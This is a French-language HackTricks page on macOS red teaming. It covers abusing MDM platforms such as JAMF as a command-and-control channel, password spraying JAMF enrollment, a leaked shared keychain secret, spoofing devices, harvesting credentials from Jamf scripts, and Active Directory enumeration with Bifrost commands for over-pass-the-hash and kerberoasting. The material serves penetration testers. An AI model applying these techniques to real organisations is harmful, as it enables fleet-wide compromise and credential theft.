macOS Red Teaming

Reading time: 10 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Abus des MDM

  • JAMF Pro: jamf checkJSSConnection
  • Kandji

Si vous parvenez à compromettre les identifiants administratifs pour accéder à la plateforme de gestion, vous pouvez potentiellement compromettre tous les ordinateurs en distribuant votre malware sur les machines.

Pour le red teaming dans les environnements MacOS, il est fortement recommandé d'avoir une certaine compréhension du fonctionnement des MDM :

macOS MDM

Utiliser MDM comme C2

Un MDM aura la permission d'installer, de consulter ou de supprimer des profils, d'installer des applications, de créer des comptes administratifs locaux, de définir un mot de passe firmware, de changer la clé FileVault...

Pour exécuter votre propre MDM, vous devez faire signer votre CSR par un fournisseur que vous pourriez essayer d'obtenir avec https://mdmcert.download/. Et pour exécuter votre propre MDM pour les appareils Apple, vous pourriez utiliser MicroMDM.

Cependant, pour installer une application sur un appareil inscrit, vous devez toujours qu'elle soit signée par un compte développeur... cependant, lors de l'inscription au MDM, le dispositif ajoute le certificat SSL du MDM comme CA de confiance, vous pouvez donc maintenant signer n'importe quoi.

Pour inscrire le dispositif dans un MDM, vous devez installer un fichier mobileconfig en tant que root, qui pourrait ĂȘtre livrĂ© via un fichier pkg (vous pourriez le compresser en zip et lorsqu'il est tĂ©lĂ©chargĂ© depuis Safari, il sera dĂ©compressĂ©).

L'agent Mythic Orthrus utilise cette technique.

Abus de JAMF PRO

JAMF peut exécuter des scripts personnalisés (scripts développés par l'administrateur systÚme), des charges utiles natives (création de compte local, définition de mot de passe EFI, surveillance de fichiers/processus...) et MDM (configurations de dispositifs, certificats de dispositifs...).

Auto-inscription JAMF

Allez sur une page telle que https://<company-name>.jamfcloud.com/enroll/ pour voir s'ils ont l'auto-inscription activée. S'ils l'ont, cela pourrait demander des identifiants pour accéder.

Vous pourriez utiliser le script JamfSniper.py pour effectuer une attaque par pulvérisation de mots de passe.

De plus, aprĂšs avoir trouvĂ© des identifiants appropriĂ©s, vous pourriez ĂȘtre en mesure de forcer d'autres noms d'utilisateur avec le formulaire suivant :

Authentification des dispositifs JAMF

Le binaire jamf contenait le secret pour ouvrir le trousseau qui, au moment de la découverte, était partagé entre tout le monde et c'était : jk23ucnq91jfu9aj.
De plus, jamf persiste en tant que LaunchDaemon dans /Library/LaunchAgents/com.jamf.management.agent.plist

Prise de contrĂŽle des dispositifs JAMF

L'URL JSS (Jamf Software Server) que jamf utilisera se trouve dans /Library/Preferences/com.jamfsoftware.jamf.plist.
Ce fichier contient essentiellement l'URL :

bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist

[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://halbornasd.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]

Ainsi, un attaquant pourrait déposer un paquet malveillant (pkg) qui écrase ce fichier lors de l'installation en définissant l'URL vers un écouteur Mythic C2 d'un agent Typhon pour pouvoir maintenant abuser de JAMF en tant que C2.

bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0

# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2

Usurpation de JAMF

Pour usurper la communication entre un appareil et JMF, vous avez besoin de :

  • Le UUID de l'appareil : ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'
  • Le trousseau JAMF de : /Library/Application\ Support/Jamf/JAMF.keychain qui contient le certificat de l'appareil

Avec ces informations, créez une VM avec le UUID matériel volé et avec SIP désactivé, déposez le trousseau JAMF, accrochez l'agent Jamf et volez ses informations.

Vol de secrets

a

Vous pouvez également surveiller l'emplacement /Library/Application Support/Jamf/tmp/ pour les scripts personnalisés que les administrateurs pourraient vouloir exécuter via Jamf, car ils sont placés ici, exécutés et supprimés. Ces scripts pourraient contenir des identifiants.

Cependant, les identifiants pourraient ĂȘtre passĂ©s Ă  ces scripts en tant que paramĂštres, donc vous devrez surveiller ps aux | grep -i jamf (sans mĂȘme ĂȘtre root).

Le script JamfExplorer.py peut écouter les nouveaux fichiers ajoutés et les nouveaux arguments de processus.

AccĂšs Ă  distance macOS

Et aussi sur les protocoles réseau "spéciaux" de MacOS :

macOS Network Services & Protocols

Active Directory

Dans certaines occasions, vous constaterez que l'ordinateur MacOS est connecté à un AD. Dans ce scénario, vous devriez essayer de énumérer l'annuaire actif comme vous en avez l'habitude. Trouvez de l'aide dans les pages suivantes :

389, 636, 3268, 3269 - Pentesting LDAP

Active Directory Methodology

88tcp/udp - Pentesting Kerberos

Un outil local MacOS qui peut Ă©galement vous aider est dscl :

bash
dscl "/Active Directory/[Domain]/All Domains" ls /

Aussi, il existe des outils préparés pour MacOS afin d'énumérer automatiquement l'AD et de jouer avec kerberos :

  • Machound : MacHound est une extension de l'outil d'audit Bloodhound permettant de collecter et d'ingĂ©rer des relations Active Directory sur des hĂŽtes MacOS.
  • Bifrost : Bifrost est un projet Objective-C conçu pour interagir avec les API Heimdal krb5 sur macOS. L'objectif du projet est de permettre de meilleurs tests de sĂ©curitĂ© autour de Kerberos sur les appareils macOS en utilisant des API natives sans nĂ©cessiter d'autres frameworks ou packages sur la cible.
  • Orchard : Outil JavaScript pour l'automatisation (JXA) pour faire de l'Ă©numĂ©ration Active Directory.

Informations sur le domaine

bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil

Utilisateurs

Les trois types d'utilisateurs MacOS sont :

  • Utilisateurs Locaux — GĂ©rĂ©s par le service OpenDirectory local, ils ne sont en aucun cas connectĂ©s Ă  l'Active Directory.
  • Utilisateurs RĂ©seau — Utilisateurs Active Directory volatils qui nĂ©cessitent une connexion au serveur DC pour s'authentifier.
  • Utilisateurs Mobiles — Utilisateurs Active Directory avec une sauvegarde locale de leurs identifiants et fichiers.

Les informations locales sur les utilisateurs et les groupes sont stockées dans le dossier /var/db/dslocal/nodes/Default.
Par exemple, les informations sur l'utilisateur appelé mark sont stockées dans /var/db/dslocal/nodes/Default/users/mark.plist et les informations sur le groupe admin se trouvent dans /var/db/dslocal/nodes/Default/groups/admin.plist.

En plus d'utiliser les bords HasSession et AdminTo, MacHound ajoute trois nouveaux bords à la base de données Bloodhound :

  • CanSSH - entitĂ© autorisĂ©e Ă  SSH vers l'hĂŽte
  • CanVNC - entitĂ© autorisĂ©e Ă  VNC vers l'hĂŽte
  • CanAE - entitĂ© autorisĂ©e Ă  exĂ©cuter des scripts AppleEvent sur l'hĂŽte
bash
#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user

#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"

#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"

#Domain Information
dsconfigad -show

Plus d'infos dans https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/

Mot de passe de l'ordinateur$

Obtenez des mots de passe en utilisant :

bash
bifrost --action askhash --username [name] --password [password] --domain [domain]

Il est possible d'accéder au mot de passe Computer$ dans le trousseau de clés SystÚme.

Over-Pass-The-Hash

Obtenez un TGT pour un utilisateur et un service spécifiques :

bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]

Une fois le TGT récupéré, il est possible de l'injecter dans la session actuelle avec :

bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local

Kerberoasting

bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]

Avec les tickets de service obtenus, il est possible d'essayer d'accéder aux partages sur d'autres ordinateurs :

bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point

Accéder au Trousseau

Le Trousseau contient trÚs probablement des informations sensibles qui, si elles sont accessibles sans générer une invite, pourraient aider à faire avancer un exercice de red team :

macOS Keychain

Services Externes

Le Red Teaming MacOS est différent d'un Red Teaming Windows classique car généralement MacOS est intégré à plusieurs plateformes externes directement. Une configuration courante de MacOS consiste à accéder à l'ordinateur en utilisant des identifiants synchronisés OneLogin, et à accéder à plusieurs services externes (comme github, aws...) via OneLogin.

Techniques Diverses de Red Team

Safari

Lorsqu'un fichier est téléchargé dans Safari, s'il s'agit d'un fichier "sûr", il sera ouvert automatiquement. Par exemple, si vous téléchargez un zip, il sera automatiquement décompressé :

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks